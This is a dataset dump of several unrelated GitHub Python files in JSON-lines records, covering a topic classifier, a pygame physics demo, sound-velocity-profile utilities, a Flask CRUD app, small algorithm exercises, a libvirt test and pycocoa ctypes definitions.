\"y_issue_dim_type\")\n","repo_name":"microcosmx/algorithms","sub_path":"algorithm-python/python_assemble/evaluation_2.py","file_name":"evaluation_2.py","file_ext":"py","file_size_in_byte":5969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31088025185","text":"\nimport numpy as np\nimport transformers\nimport torch\nfrom torch import nn\nimport os\nimport pickle\nimport json\n\nfrom transformers import AutoConfig, AutoTokenizer, AutoModel\n\nos.environ[\"NCCL_DEBUG\"] = \"INFO\"\nos.environ[\"TOKENIZERS_PARALLELISM\"] = \"false\"\n\n# Load parameters from a JSON file\nwith open('./parameter.json', 'r') as f:\n param_dict = json.load(f)\n\nmodel_path = param_dict['model_path'] # Path to the model\nencoding_path = param_dict['encoding_path'] # Path to the encoding\ndevice = param_dict['gpu_device'] # GPU device to use\nthreshold = param_dict['threshold'] # Threshold for topic classification\n\n# Load the encoding\nencode_reverse = pickle.load(open(encoding_path, 'rb'))\nencode_reverse = np.array(list(encode_reverse.values())) # Ensure the order is consistent\n\n# Define a customized model\nclass MyBERT(nn.Module):\n def __init__(self):\n super(MyBERT, self).__init__()\n self.pretrained = AutoModel.from_pretrained('xlm-roberta-base')\n self.multilabel_layers = nn.Sequential(\n nn.Linear(768, 256),\n nn.Mish(),\n nn.BatchNorm1d(256),\n nn.Dropout(0.1),\n nn.Linear(256, 64),\n nn.Mish(),\n nn.BatchNorm1d(64),\n nn.Dropout(0.1),\n nn.Linear(64, len(encode_reverse)) # Change to the number of subtech labels\n )\n \n def forward(self, **inputs):\n s1 = self.pretrained(**inputs)\n downs_topics = self.multilabel_layers(s1['pooler_output'])\n \n if inputs.get('output_hidden_states', False):\n return s1['hidden_states']\n elif inputs.get('output_attentions', False):\n return s1['attentions']\n elif inputs.get('output_hidden_states', False) and inputs.get('output_attentions', False):\n return s1['hidden_states'], s1['attentions']\n else:\n return downs_topics\n\ncategory_model = MyBERT()\n\n# Load the model state dictionary\nloaded_state_dict = torch.load(model_path, map_location=device)\ncategory_model.load_state_dict(loaded_state_dict)\n\ntokenizer = AutoTokenizer.from_pretrained(\"xlm-roberta-base\")\n\nsig_func = nn.Sigmoid().to(device)\n\ncategory_model.to(device).eval()\n\ndef analyze_text_topics_inhouse(text):\n raw_inputs = [text]\n inputs = tokenizer(\n raw_inputs, \n padding='max_length',\n truncation=True,\n max_length=512,\n return_tensors=\"pt\",\n )\n inputs = {k: v.to(device) for k, v in inputs.items()}\n \n with torch.no_grad():\n pred_topics = category_model(**inputs)\n \n pred_topics_score = sig_func(pred_topics).detach().cpu().numpy()\n pred_topics = np.where(pred_topics_score > threshold, 1, 0)\n idxli = np.argwhere(pred_topics == 1)[:, 1]\n topics = list(encode_reverse[idxli])\n score_list = list(pred_topics_score[0][idxli])\n \n topics_text = []\n topics_text.append({\n 'text': text,\n 'topics_list': topics,\n 'score_list': str(score_list)\n })\n \n json_object = json.dumps(topics_text)\n print(json_object)\n \n return json_object\n\n# Demo data\ntext = \"I dont care, it's a bad product. I don't want to use it anymore\"\nanalyze_text_topics_inhouse(text)","repo_name":"tychen5/AppReviewAnalysis","sub_path":"TopicsClassification/api_deplyment/v0.1/app/api/topic_classification.py","file_name":"topic_classification.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"11507286407","text":"import pygame\nimport random\nimport numpy as np\n\nWIDTH = 360\nHEIGHT = 480\nFPS = 30\n# Задаем цвета\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\n\nr = 10\n\nx, y = (WIDTH-r//2)//2 + 100, (HEIGHT-r//2)//2\ng = 10\ndt = 0.0001\nvy = 0\nvx = 0\n\n\ndef draw_lines(surface: pygame.surface.Surface, color: pygame.color.Color, xs: list[int], ys: list[int]) -> None:\n \"\"\"\n Рисуем параболу с помощью pyGame\n :param surface:\n :param color:\n :param xs:\n :param ys:\n :return: None\n \"\"\"\n # print(xs[:3])\n # print(ys[:3])\n x1 = xs[0]\n y1 = ys[0]\n for i in range(1, len(xs)):\n x2 = xs[i]\n y2 = ys[i]\n pygame.draw.line(surface, color, (x1, y1), (x2, y2))\n # print(x1,y1, x2, y2)\n x1, y1 = x2, y2\n\n\nx_parable = np.arange(0, WIDTH+1, 1)\n\n\ndef f_parabble(x, xs):\n m = max((xs - WIDTH//2)**2)\n return HEIGHT - (((x - WIDTH//2)**2)/m*HEIGHT).astype(int)\n\n\ndef pf_parabble(x, xs):\n m = max((xs - WIDTH//2)**2)\n return - 2 * HEIGHT/m * (x - WIDTH // 2)\n # y1 = f_parabble(x, xs)\n # y2 = f_parabble(x+1, xs)\n # return (y2 - y1)\n\n\nE = (vx**2 + vy**2)/2 + g*(HEIGHT-y)\n\ny_parable = f_parabble(x_parable, x_parable)\n# print(x_parable)\n# print(y_parable)\n# Создаем игру и окно\npygame.init()\n# pygame.mixer.init()\nscreen = pygame.display.set_mode((WIDTH, HEIGHT))\npygame.display.set_caption(\"My Game\")\nclock = pygame.time.Clock()\n# Цикл игры\nrunning = True\nb = False\nwhile running:\n # Держим цикл на правильной скорости\n clock.tick(FPS)\n # Ввод процесса (события)\n for event in pygame.event.get():\n # Проверяем хотят ли выйти\n if event.type == pygame.QUIT:\n running = False\n\n for i in range(1000):\n # a = dv / dt -> dv = a * dt\n vy = vy + g * dt\n # vx = vx\n\n # v = dy / dt -> dy = v * dt\n y = y + vy * dt\n x = x + vx * dt\n if f_parabble(np.array([x]), x_parable)[0] < y:\n break\n\n # print(\"E\", E)\n # print(\"x, y\", x, y)\n # print(\"vx, vy\", vx, vy)\n # new_E = (vx**2 + vy**2)/2 + g*(HEIGHT-y)\n # print(\"new_E\", new_E)\n # deltaE = (new_E - E)/2\n # print(\"deltaE\", deltaE)\n # y = y - deltaE/g\n # print(\"y\", y)\n # vy = vy - np.sign(deltaE) * np.sqrt(np.abs(deltaE)*2 - vx**2)\n # print(\"vy\", vy)\n\n print(\"b, x,y, v, h, E:\", b, x, y, np.sqrt(vx**2 + vy**2), (HEIGHT-y), (vx**2 + vy**2)/2 + g*(HEIGHT-y))\n print(\"vx, vy\", vx, vy)\n # if y > HEIGHT:\n # y = HEIGHT\n # vy = -vy\n\n if f_parabble(np.array([x]), x_parable)[0] < y and not b:\n b = True\n print(\"++++++\")\n print(\"x, y\", x,y)\n # print(\"old vx, vy\", vx, vy)\n new_y = f_parabble(np.array([x]), x_parable)[0]\n y = new_y\n # module_v = np.sqrt(vx**2 + vy**2)\n # tg_v = np.array([vy]) / np.array([vx])\n # print(\"tg_v\", tg_v)\n # new_module_v = module_v - np.sqrt((y - new_y)*g*2)\n # if tg_v < 1:\n # vy = new_module_v * tg_v\n # vx = np.sqrt(new_module_v**2 - vy**2)\n # else:\n # vx = new_module_v / tg_v\n # vy = np.sqrt(new_module_v**2 - vx**2)\n # vx = vx[0]\n # vy = vy[0]\n # y = new_y\n # print(\"new vx, vy\", vx, vy)\n # print(\"x, y\", x,y)\n\n print(\"+++b x,y, v, h, E:\", b, x, y, np.sqrt(vx**2 + vy**2), (HEIGHT-y), (vx**2 + vy**2)/2 + g*(HEIGHT-y))\n\n\n print(\"new y\", y)\n tg_parabol = pf_parabble(np.array([x]), x_parable)[0]\n print(\"tg_parabol\", tg_parabol)\n modul_v = np.sqrt(vx**2 + vy**2)\n print(\"modul_v\", modul_v)\n tg_v = np.array([vy])/np.array([vx])\n print(\"tg_v\", tg_v)\n print(\"угол наклона параболы\", -np.arctan(tg_parabol), (-np.arctan(tg_parabol))*180/np.pi)\n print(\"угола наклона весктора скорости\", np.arctan(tg_v), (np.arctan(tg_v))*180/np.pi)\n alpha_minus_beta = -np.arctan(tg_parabol) - (np.arctan(tg_v) + np.arctan(tg_parabol) )\n print(\"разность углов\", alpha_minus_beta, alpha_minus_beta*180/np.pi)\n new_tan = np.tan(alpha_minus_beta)[0]\n print(\"new_tan\", new_tan)\n print(\"--------\")\n print(\"old vx, vy\", vx, vy)\n if np.abs(new_tan) < 1:\n vy = np.sign(alpha_minus_beta[0]) * modul_v * new_tan\n print(\"vy\", vy)\n vx = -(np.sign(alpha_minus_beta) * np.sqrt(modul_v**2 - vy**2))[0]\n print(\"new vx, vy\", vx, vy)\n else:\n vx = -np.sign(alpha_minus_beta[0]) * modul_v/new_tan\n print(\"vx\", vx)\n vy = (np.sign(alpha_minus_beta) * np.sqrt(modul_v**2 - vx**2))[0]\n print(\"new vx, vy\", vx, vy)\n print(\"---b x,y, v, h, E:\", b, x, y, np.sqrt(vx**2 + vy**2), (HEIGHT-y), (vx**2 + vy**2)/2 + g*(HEIGHT-y))\n else:\n b = False\n\n\n\n screen.fill(BLACK)\n pygame.draw.circle(screen, RED, [x, y], r)\n draw_lines(screen, GREEN, x_parable, y_parable)\n pygame.display.flip()\n\npygame.quit()\n\n\nif __name__ == \"__main__\":\n pass","repo_name":"indianlyc/lectures_lyc","sub_path":"20230415/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5214,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"39258278792","text":"# collection of utility functions\nfrom functools import reduce\nimport math\nfrom sys import flags\nfrom typing import List, Tuple\nfrom datetime import timedelta\n\nfrom mergesvp.lib.svpprofile import SvpProfile\n\n\ndef dateformat_to_pythondateformat(date_format: str) -> str:\n \"\"\" converts the date format provided as command line input (eg; dmy)\n into an actual python string representation of date formats (eg; '%m/%d/%y')\n \"\"\"\n if date_format.lower() == 'dmy':\n return r'%d/%m/%y'\n elif date_format.lower() == 'mdy':\n return r'%m/%d/%y'\n elif date_format.lower() == 'ymd':\n return r'%y/%m/%d'\n else:\n raise RuntimeError(\"Bad date format. must be dmy, mdy, or ymd\")\n\n\ndef dms_to_decimal(\n degrees: float,\n minutes: float = 0,\n seconds: float = 0) -> float:\n \"\"\"Converts lat or long provided as degrees, minutes, and seconds into\n decimal form\"\"\"\n abs_degrees = abs(degrees)\n abs_decimal = abs_degrees + minutes / 60 + seconds / 3600\n return math.copysign(abs_decimal, degrees)\n\n\ndef decimal_to_dms(val: float) -> Tuple[int, int, float]:\n \"\"\"Converts lat or long provided as a decimal to degrees, minutes, and \n seconds\"\"\"\n # int() will truncate\n abs_val = abs(val)\n d = int(abs_val)\n m = int((abs_val - d) * 60)\n s = (abs_val - d - m / 60) * 3600\n return (math.copysign(d, val), m, s)\n\n\ndef _get_all_dives(\n depth_vs_speed: List[Tuple[float, float]]\n ) -> List[List[Tuple[float, float]]]:\n \"\"\" makes a list of all the dive segments in this series\"\"\"\n # list of all the dives\n all_dives = []\n # list of the current dives depth vs speed data\n current_dive = []\n all_dives.append(current_dive)\n\n last_depth = None\n for (depth, speed) in depth_vs_speed:\n if last_depth is None:\n pass\n elif depth >= last_depth:\n # then probe is going down, so still the same dive\n pass\n else:\n # then probe has moved up, so it will be a new dive\n # from this point on\n current_dive = []\n all_dives.append(current_dive)\n\n last_depth = depth\n current_dive.append((depth, speed))\n\n return all_dives\n\n\ndef trim_to_longest_dive(\n depth_vs_speed: List[Tuple[float, float]]) -> List[Tuple[float, float]]:\n \"\"\" returns a new array of the same information that only includes the\n longest dive\"\"\"\n all_dives = _get_all_dives(depth_vs_speed)\n\n # compares two array lengths and returns the longest\n def red_fn(a,b):\n if len(a) > len(b):\n return a\n else:\n return b\n # get the longest array in the all_dives array\n longest_dive = reduce(red_fn, all_dives,[])\n\n return longest_dive\n\n\ndef format_timedelta(dt: timedelta) -> str:\n total_seconds = dt.total_seconds()\n\n hours, remainder = divmod(total_seconds, 3600)\n minutes, seconds = divmod(remainder, 60)\n return f'{int(hours):02}h {int(minutes):02}m {int(seconds):02}s'\n\n\ndef sort_svp_list(svps: List[SvpProfile]) -> List[SvpProfile]:\n \"\"\" Sorts a list of SVPs based on the timestamp of each SVP. Sorted\n earliest to latest.\n \"\"\"\n return sorted(svps, key=lambda x: x.timestamp, reverse=False)\n\n\ndef timedelta_to_hours(dt: timedelta) -> float:\n \"\"\" Converts a timedelta object to a single floating point hours value\"\"\"\n f = float(dt.days) * 24 + \\\n (dt.seconds / 60 / 60) + \\\n (dt.microseconds / 60 / 60 / 1000)\n return f\n\n\ndef lerp(a: float, b: float, t: float) -> float:\n \"\"\"Linear interpolate between a and b, using t.\n \"\"\"\n return (1 - t) * a + t * b\n","repo_name":"ausseabed/merge-svp","sub_path":"mergesvp/lib/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"27134195879","text":"from flask import Flask, render_template, request, redirect\n\nfrom user import User\napp = Flask(__name__)\n\n@app.route('/users')\ndef show_all_users():\n all_users = User.get_all()\n\n return render_template('users.html', all_users = all_users)\n\n@app.route('/users/new')\ndef new_user():\n return render_template('newusers.html')\n\n@app.route('/process', methods=['POST'])\ndef process():\n print(request.form)\n User.create_user(request.form)\n return redirect('/users')\n\n@app.route('/users/<int:user_id>/delete')\ndef delete_user(user_id):\n \n User.delete_user({'user_id': user_id})\n return redirect('/users')\n \n@app.route('/users/<int:user_id>')\ndef show_user(user_id):\n user = User.get_user({'user_id': user_id})\n return render_template('user_page.html', user = user)\n\n@app.route('/users/<int:user_id>/edit')\ndef edit_user(user_id):\n user = User.get_user({'user_id': user_id})\n return render_template('edituser.html', user = user)\n\n@app.route('/users/<int:user_id>/update', methods=['POST'])\ndef update_user(user_id):\n updated_info = {\n 'first_name': request.form['first_name'],\n 'last_name': request.form['last_name'],\n 'email': request.form['email'],\n 'user_id': user_id\n }\n User.update_user(updated_info)\n return show_user(user_id)\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"figaustin/dojo_assignments","sub_path":"python/flask_mysql/crud/users_crud/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"25108682368","text":"\ndef read_triangle(path_to_file):\n # input in a string representing the file location\n # returns a list of list of ints\n\n f = open(path_to_file, 'r')\n lines = f.readlines()\n triangle = []\n for line in lines:\n triangle.append([int(x) for x in line.split(' ')])\n f.close()\n return triangle\n\ndef add_levels(x, y):\n if len(x) != len(y):\n raise ValueError(\"lengths not equal\")\n\n res = []\n for i in range(len(x)):\n res.append(x[i] + y[i])\n return res\n\n\ndef elementwise_max(x, y):\n if len(x) != len(y):\n raise ValueError(\"lengths not equal\")\n\n res = []\n for i in range(len(x)):\n res.append(max([x[i],y[i]]))\n return res\n\n\ndef fold_level(cur, nxt):\n right_options = add_levels([0] + cur, nxt)\n left_options = add_levels(cur + [0], nxt)\n max_options = elementwise_max(right_options, left_options)\n\n return max_options\n\n\ndef fold(triangle):\n # returns a list of max path sums\n # note: does not work when triangle length is 1\n\n current_level = triangle[0]\n for level in triangle[1:]:\n current_level = fold_level(current_level, level)\n \n return current_level\n\n\nprint(max(fold(read_triangle(\"./triangle.txt\"))))\n","repo_name":"meiprojectsandstuff/CS506-Fall2021","sub_path":"03-triangle/triangle.py","file_name":"triangle.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"38897611665","text":"from mmocr.apis import TextDetInferencer\nimport torch, cv2\nfrom utils import rotatedCrop\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass MmocrProposer:\n def __init__(self, device=None, batch_size = 1, model='DBNetpp'):\n if device:\n use_gpu = device==\"cuda\"\n else:\n use_gpu = torch.cuda.is_available()\n \n self.reader = TextDetInferencer(model=model)\n self.batch_size = batch_size\n\n def __call__(self, image):\n # make sure image is in the right format...\n xmax = image.shape[1]\n ymax = image.shape[0]\n img = image.copy()\n if img.max() == 1:\n img = 255*img\n\n result = self.reader(img, batch_size=self.batch_size)\n for prediction in result['predictions']:\n bboxes = []\n polygons = prediction['polygons']\n scores = prediction['scores']\n for polygon, score in zip(polygons, scores):\n bbox = np.array(polygon).reshape(-1, 2)\n paddle_format = np.array([bbox[0], bbox[3], bbox[2], bbox[1]])\n bboxes.append({'bbox': paddle_format, 'score': score})\n\n bboxes.reverse()\n crops = [rotatedCrop(image, bbox['bbox']) for bbox in bboxes] \n if len(crops) == 0:\n bboxes.append({'bbox': np.array([[0,0], [0, ymax], [xmax, ymax], [xmax, 0]]), 'score': 0}) \n crops += [image.copy()]\n return crops, bboxes\n","repo_name":"LAION-AI/OCR-ensemble","sub_path":"ocr_ensemble/proposers/mmocr.py","file_name":"mmocr.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"69"} +{"seq_id":"74567201181","text":"import random\n\nimport genetics\nimport matplotlib.pyplot as plt\n\nvalid_chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\n\n\ndef similar_to(word):\n def fitness(individual):\n dist = sum([abs(ord(c1) - ord(c2)) for c1, c2 in zip(word, individual)])\n return 1.0 / (1.0 + dist)\n\n return fitness\n\n\ndef single_crossover(ind1, ind2):\n breakpoint = random.randint(0, len(ind1) - 1)\n return ind1[:breakpoint] + ind2[breakpoint:]\n\n\ndef adj_char(char):\n result = ord(char) + random.randint(-2, 2)\n if ord(\"A\") <= result <= ord(\"Z\"):\n return chr(result)\n else:\n return char\n\n\ndef simple_mutation(individual):\n chars = list(individual)\n if random.random() < 0.1:\n point = random.randint(0, len(individual) - 1)\n chars[point] = adj_char(chars[point])\n return \"\".join(chars)\n else:\n return individual\n\n\ndef random_pop(length, count):\n pop = []\n for _ in range(count):\n pop.append(''.join(random.choice(valid_chars) for _ in range(length)))\n return pop\n\n\nif __name__ == '__main__':\n secret_word = \"GENETICALGORITHMSAREGREATATGUESSINGVERYLONGWORDS\"\n population = random_pop(len(secret_word), 1000)\n winners, grades, history = genetics.run(population, max_generations=1000, fitness_fn=similar_to(secret_word),\n crossover_fn=single_crossover, mutation_fn=simple_mutation,\n ratio_fit=0.2, ratio_unfit=0.05, target=0.99)\n\n p1 = history.plot(logx=history.shape[0] > 100, title=\"Fitness per generation\")\n p1.set_ylabel(\"Fitness\")\n p1.set_xlabel(\"Generation\")\n plt.show()\n print(winners[0])\n","repo_name":"baldassarreFe/python-pancakes","sub_path":"Genetic Programming/letters.py","file_name":"letters.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"30436630919","text":"import os\nimport logging as log\n\nfrom virttest import virsh\n\nfrom virttest import libvirt_version\n\nNWFILTER_ETC_DIR = \"/etc/libvirt/nwfilter\"\n\n\n# Using as lower capital is not the best way to do, but this is just a\n# workaround to avoid changing the entire file.\nlogging = log.getLogger('avocado.' + __name__)\n\n\ndef run(test, params, env):\n \"\"\"\n Test command: virsh nwfilter-list.\n\n 1) Prepare parameters.\n 2) Run nwfilter-list command.\n 3) Check result.\n \"\"\"\n # Prepare parameters\n options_ref = params.get(\"list_options_ref\", \"\")\n status_error = params.get(\"status_error\", \"no\")\n filter_name = []\n\n # acl polkit params\n uri = params.get(\"virsh_uri\")\n unprivileged_user = params.get('unprivileged_user')\n if unprivileged_user:\n if unprivileged_user.count('EXAMPLE'):\n unprivileged_user = 'testacl'\n\n if not libvirt_version.version_compare(1, 1, 1):\n if params.get('setup_libvirt_polkit') == 'yes':\n test.cancel(\"API acl test not supported in current\"\n \" libvirt version.\")\n\n virsh_dargs = {'ignore_status': True, 'debug': True}\n if params.get('setup_libvirt_polkit') == 'yes':\n virsh_dargs['unprivileged_user'] = unprivileged_user\n virsh_dargs['uri'] = uri\n\n # Run command\n cmd_result = virsh.nwfilter_list(options=options_ref, **virsh_dargs)\n output = cmd_result.stdout.strip()\n status = cmd_result.exit_status\n\n # Check result\n if status_error == \"yes\":\n if status == 0:\n test.fail(\"Run successfully with wrong command.\")\n elif status_error == \"no\":\n if status:\n test.fail(\"Run failed with right command.\")\n\n # Retrieve filter name from output and check the cfg file\n output_list = output.split('\\n')\n for i in range(2, len(output_list)):\n filter_name.append(output_list[i].split()[1])\n for i in range(len(filter_name)):\n xml_path = \"%s/%s.xml\" % (NWFILTER_ETC_DIR, filter_name[i])\n if not os.path.exists(xml_path):\n test.fail(\"Can't find list filter %s xml under %s\"\n % (filter_name[i], NWFILTER_ETC_DIR))\n else:\n logging.debug(\"list filter %s xml found under %s\" %\n (filter_name[i], NWFILTER_ETC_DIR))\n","repo_name":"autotest/tp-libvirt","sub_path":"libvirt/tests/src/virsh_cmd/filter/virsh_nwfilter_list.py","file_name":"virsh_nwfilter_list.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"69"} +{"seq_id":"34347180705","text":"\n# -*- coding: utf-8 -*-\n\n# License at the end of this file.\n\n'''ObjC C{..._t} type definitions and some additional C{ctypes}.\n\nNames starting with C{c_} are C{ctypes}, names ending with C{_t}\nare ObjC types defined in terms of a C{ctypes} C{c_} type.\n\n@var Array_t: ObjC C{NSArray} ctype.\n@var CFIndex_t: ObjC C{CFIndex} ctype.\n@var CFStringEncoding_t: ObjC C{CFStringEncoding} ctype.\n@var CGBitmapInfo_t: ObjC C{CGBitmapInfo} ctype.\n@var CGDirectDisplayID_t: ObjC C{CGDirectDisplayID} ctype.\n@var CGError_t: ObjC C{CGError} ctype.\n@var CGFloat_t: ObjC C{CGFloat} ctype.\n@var CTFontOrientation_t : Objc C{CTFontOrientation} ctype.\n@var CTFontSymbolicTraits_t: Objc C{CTFontSymbolicTraits} ctype.\n@var CGGlyph_t: ObjC C{CGGlyph} ctype.\n@var Data_t: ObjC C{CFDataRef} ctype.\n@var Dictionary_t: ObjC C{NSDictionary} ctype.\n@var NSDoubl_t: ObjC C{CFDataRef} ctype.\n@var NSExceptionHandler_t: ObjC C{NSExceptionHandler} ctype.\n@var NSFloat_t: ObjC C{NSFloat} ctype.\n@var NSInteger_t: ObjC C{NSInteger} ctype.\n@var NSTimeInterval_t: ObjC C{NSTimeInterval} ctype.\n@var NSUInteger_t: ObjC C{NSUInteger} ctype.\n@var NumberType_t: ObjC C{NSNumberType} ctype.\n@var Number_t: ObjC C{NSNumber} ctype.\n@var OptionFlags_t: ObjC C{CFOptionFlags} ctype.\n@var Set_t: ObjC C{NSSet} ctype.\n@var String_t: ObjC C{CFStringRef} ctype.\n@var TimeInterval_t: ObjC C{CFTimeInterval} ctype.\n@var TypeID_t: ObjC C{CFTypeID} ctype.\n@var UniChar_t: Unicode C{unsigned short} ctype.\n@var unichar_t: Unicode C{wchar} ctype.\n'''\n# all imports listed explicitly to help PyChecker\n# from pycocoa.getters import get_selectornameof\nfrom pycocoa.lazily import _ALL_LAZY\nfrom pycocoa.utils import bytes2str, inst2strepr, iterbytes, \\\n missing, property_RO, str2bytes\n\nfrom ctypes import c_bool, c_byte, c_char, c_char_p, c_double, \\\n c_float, c_int, c_int32, c_int64, c_long, \\\n c_longlong, c_short, c_ubyte, c_uint, c_uint16, \\\n c_uint32, c_ulong, c_ulonglong, c_ushort, \\\n c_void_p, c_wchar, \\\n POINTER, py_object, sizeof, Structure\ntry:\n from ctypes import c_void\nexcept ImportError:\n c_void = None\nfrom platform import machine # as machine\n\n__all__ = _ALL_LAZY.octypes\n__version__ = '20.01.08'\n\nz = sizeof(c_void_p)\nif z == 4:\n c_ptrdiff_t = c_int32\nelif z == 8:\n c_ptrdiff_t = c_int64\nelse:\n raise ValueError('sizeof(c_void_p): %s' % (z,))\ndel z\n\n__i386__ = machine() == 'i386' # PYCHOK expected\n__LP64__ = c_ptrdiff_t is c_int64 # 64-bits\n\nunichar_t = c_wchar # actually a c_ushort in NSString_.h,\nUniChar_t = c_ushort # but need ctypes to convert properly\n\n\nclass c_struct_t(Structure):\n '''Base type to pretty-print I{ctypes} C{Structures}.\n '''\n def _attrs(self):\n for f, _ in self._fields_: # PYCHOK expected\n yield f\n\n def __repr__(self):\n r = inst2strepr(self, repr, *self._attrs())\n return '<%s at %#x>' % (r, id(self))\n\n def __str__(self):\n return inst2strepr(self, str, *self._attrs())\n\n\nclass ObjC_t(c_void_p):\n '''Base type to pretty-print I{ctypes} C{c_void_p}.\n '''\n def __repr__(self):\n return '<%s at %#x>' % (self, id(self))\n\n def __str__(self):\n return self.__class__.__name__\n\n\nclass TypeCodeError(ValueError):\n '''Error in ObjC type encoding.\n '''\n pass\n\n\ndef _join(codes):\n # join bytes\n return b''.join(codes)\n\n\n# Note CGBase.h at /System/Library/Frameworks/ApplicationServices\n# .framework/Frameworks/CoreGraphics.framework/Headers/CGBase.h\n# defines CG/Float as double if __LP64__, otherwise it is float.\n# Also, these types can't be subclasses of c_... ctypes.\nif __LP64__:\n CGFloat_t = c_double # CGFloat.nativeType\n NSInteger_t = c_long # == Int_t?\n NSUInteger_t = c_ulong # == Uint_t?\n\n NSIntegerMax = 0x7fffffffffffffff\n\n NSPointEncoding = CGPointEncoding = b'{CGPoint=dd}'\n NSRangeEncoding = b'{_NSRange=QQ}'\n NSRectEncoding = CGRectEncoding = b'{CGRect={CGPoint=dd}{CGSize=dd}}'\n NSSizeEncoding = CGSizeEncoding = b'{CGSize=dd}'\n\nelse:\n CGFloat_t = c_float # CGFloat.nativeType\n NSInteger_t = c_int # == Int_t?\n NSUInteger_t = c_uint # == Uint_t?\n\n NSIntegerMax = 0x7fffffff\n\n NSPointEncoding = b'{_NSPoint=ff}'\n NSRangeEncoding = b'{_NSRange=II}'\n NSRectEncoding = b'{_NSRect={_NSPoint=ff}{_NSSize=ff}}'\n NSSizeEncoding = b'{_NSSize=ff}'\n\n CGPointEncoding = NSPointEncoding.replace(b'_NS', b'CG')\n CGRectEncoding = NSRectEncoding.replace( b'_NS', b'CG')\n CGSizeEncoding = NSSizeEncoding.replace( b'_NS', b'CG')\n\n\n# NSFloatMax = GCGFloat.greatestFiniteMagnitude()\n# NSFloatMin = GCGFloat.leastNonzeroMagnitude()\nCFIndex_t = NSInteger_t # == Int, no CGIndex_t?\n# Special case so that NSImage.initWithCGImage_size_() will work.\nCGImageEncoding = b'{CGImage=}'\nNSZoneEncoding = b'{_NSZone=}'\nPyObjectEncoding = b'{PyObject=@}'\n\n\n# wrappers for ObjC classes, structs, etc. mostly\n# to see more meaningful names in res- and argtypes\nclass Allocator_t(ObjC_t): # Id_t\n '''ObjC C{CFAllocatorRef} type.\n '''\n pass\n\n\nArray_t = c_void_p # ObjC C{NSArray} ctype\n\n\nclass Block_t(ObjC_t):\n '''ObjC C{block} type.\n '''\n pass\n\n\nclass BOOL_t(c_bool):\n '''ObjC C{boolean} type.\n '''\n pass\n\n\nData_t = c_void_p # ObjC C{CFDataRef} ctype\nDictionary_t = c_void_p # ObjC C{NSDictionary} ctype\n\n\nclass Id_t(ObjC_t):\n '''ObjC C{Id/self} type, encoding b'@'.\n '''\n pass\n\n# objc_id = Id_t\n\n\nclass Class_t(Id_t): # ObjC_t\n '''ObjC C{Class} type, encoding b'#'.\n '''\n pass\n\n\nclass IMP_t(ObjC_t):\n '''ObjC C{IMPlementation} type.\n '''\n pass\n\n\nclass Ivar_t(ObjC_t):\n '''ObjC C{instance variable} type.\n '''\n pass\n\n\nclass Method_t(ObjC_t):\n '''ObjC C{method} type.\n '''\n pass\n\n\nNumber_t = c_void_p # ObjC C{NSNumber} ctype\nNumberType_t = c_ulong # c_uint32\nOptionFlags_t = c_ulong # ObjC C{CFOptionFlags} ctype\n\n\nclass Protocol_t(Id_t):\n '''ObjC C{protocol} type.\n '''\n pass\n\n\nclass RunLoop_t(Id_t):\n '''ObjC C{CFRunLoopRef} type.\n '''\n pass\n\n\nclass SEL_t(ObjC_t):\n '''ObjC C{SELector/cmd} type, encoding C{b':'}.\n '''\n _name_ = None\n# def __new__(cls, name_=None):\n# self = libobjc.sel_registerName(str2bytes(name_))\n# return self\n\n def __repr__(self):\n return '<%s(%s)>' % (self.__class__.__name__, self)\n\n def __str__(self):\n return 'None' if self.value is None else bytes2str(self.name_)\n\n @property_RO\n def name_(self):\n if self._name_ is None:\n if self.value is None:\n raise ValueError('Null %r' % (self,))\n from pycocoa.getters import get_selectornameof\n self._name_ = get_selectornameof(self) or 'SEL_t'\n return self._name_\n\n\nSet_t = c_void_p # ObjC C{NSset} ctype\nString_t = c_void_p # ObjC C{CFStringRef} ctype\n\n\nclass Struct_t(ObjC_t):\n '''ObjC C{struct} type.\n '''\n pass\n\n\n# unhashable type if class(ObjC_t)\nTimeInterval_t = c_double # ObjC CFTimeInterval type, != NSTimeInterval_t\nTypeID_t = c_ulong # ObjC CFTypeID type\n\n\nclass TypeRef_t(ObjC_t): # ObjC CFTypeRef type\n '''ObjC opaque type.\n '''\n pass\n\n\nclass Union_t(Id_t): # XXX or ObjC_t?\n '''ObjC C{union} type.\n '''\n pass\n\n\nclass Unknown_t(ObjC_t):\n '''Unknown type.\n '''\n pass\n\n\nclass UnknownPtr_t(ObjC_t):\n '''Unknown pointer.\n '''\n pass\n\n\nclass URL_t(Id_t):\n '''ObjC C{URL} type.\n '''\n pass\n\n\nclass VoidPtr_t(ObjC_t):\n '''Same as C{c_void_p}, but distinguishable from C{c_void_p}.\n '''\n pass\n\n\n# <https://StackOverflow.com/questions/41502199/\n# how-to-decipher-objc-method-description-from-protocol-method-description-list>\nclass objc_method_description_t(c_struct_t):\n '''ObjC C{struct} with fields C{name} and C{types} (C{SEL_t}, C{c_char_p}).\n '''\n _fields_ = ('name', SEL_t), ('types', c_char_p)\n\n\nclass objc_property_t(ObjC_t):\n 